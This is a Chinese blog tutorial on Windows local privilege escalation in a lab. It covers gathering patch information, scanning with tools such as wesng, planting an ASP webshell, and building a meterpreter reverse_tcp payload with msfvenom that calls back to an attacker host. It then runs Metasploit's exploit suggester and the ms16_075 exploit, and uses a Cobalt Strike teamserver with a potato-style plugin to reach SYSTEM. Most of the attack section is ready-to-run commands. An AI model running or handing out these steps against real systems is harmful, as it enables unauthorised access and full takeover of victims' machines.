windows提权之本地溢出漏洞提权

0x00 前言

使用溢出漏洞步骤:

1.信息搜集

主要搜集操作系统版本 漏洞补丁 位数 杀软 网络 当前权限等信息

tasklist /svc    #杀软服务
systeminfo       #系统信息,主要是补丁
#当webshell中不能使用system'info命令时们可以上传cmd.exe,然后在使用cmd.exe运行命令

2.根据补丁 系统版本 位数 筛选可用溢出漏洞exp

手动 上传漏洞检测脚本,查看漏洞

msf全自动 msf扫描漏洞,直接利用exp

cs半自动 利用插件,直接利用exp(为什么是半自动,不能检测存在的漏洞)

3.上传exp进行提权

exp下载网站:

https://github.com/Ascotbe/KernelHub
https://github.com/nomi-sec/PoC-in-GitHub
http://cve.mitre.org/data/refs/refmap/source-MS.html

0x01 漏洞检测脚本使用

WindowsVulnScan:

补丁收集脚本:KBCollect.ps1

漏洞扫描脚本:cve-check.py

#补丁收集
powershell      #当powershell不可用时,可以用systeminfo把信息写成json类型的数据进行检测
./KBCollect.ps1 #运行后生成了KB.json
#漏洞扫描
python cve-check.py -C -f KB.json

python如果没有安装requests模块,还需要安装这个模块

python -m pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

运行python脚本时报错:

KB.json改一下编码,改成utf-8

KB.json 格式:

{"basicInfo":{"windowsProductName":"Microsoft Windows Server 2016 Standard","windowsVersion":""},"KBList":[
    "KB4049065", #打的补丁编号
    "KB4048953"
]}
#windowsProductName 操作系统版本

Vulmap:

不好用,查不到漏洞

wesng:

systeminfo >1.txt              
python wes.py 1.txt -o 1.csv    #生成excle表格

0x02 msf全自动

环境:win7 的iis+asp

上传asp的一句话木马

使用蚁剑连接

msf生成反弹的木马,使win7上线

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o 1.exe
#配置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.85.129
set lport 3333
run

使用蚁剑上传木马并运行,查看当前权限

1.exe      #蚁剑运行
getuid     #meterpreter会话中运行

使用漏洞扫描模块

#有两个模块
use post/windows/gather/enum_patches(半自动:找出了补丁还需进行筛选exp)
use post/multi/recon/local_exploit_suggester(全自动:能识别系统中可能被利用的漏洞)

#这里选用第二个
background                  #使当前会话切换到后台
use post/multi/recon/local_exploit_suggester
set session 6 
set showdescription yes      #不设置漏洞详情为yes,可能跑不出来漏洞
run        
#选用exp进行利用
use  exploit/windows/local/ms16_075_reflection_juicy
set session 6
run

post/windows/gather/enum_patches 半自动运行:

post/multi/recon/local_exploit_suggester全自动运行:

成功提权:

当exp利用成功时没有返回会话,这时应该去考虑payload是否设置错误,返回不过来,这个漏洞,上传的木马是x64,exp是x86,默认的就可以,不需要改,改成x64利用就不成功,需要注意的是payload能否满足当前需求,也就是能不能返回会话,不如说,一台可以上网的主机去攻击一台公网的服务器,木马的连接方式是反向连接,这肯定不行,肯定没有会话产生,正确的方式是正向连接

x86可以在x64和x86系统中运行,x64只能在x64系统中运行

0x03 cs半自动

环境:win7 iis+asp

#linux服务端:
chmod u+x teamserver
./teamserver 192.168.85.129 123456
#windows客户端:
cobaltstrike.bat

需要配置监听器 http的即可:

第二步点监听器

cobalstrike生成木马

使用蚁剑上传并运行,成功上线

改一下回连时间为0

查看但前权限

getuid

加载插件

使用梼杌插件的本地提权的sweetpotato进行提权,成功返回system的机器

梼杌插件:

成功提权:

posted @   mushangqiujin  阅读(10)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示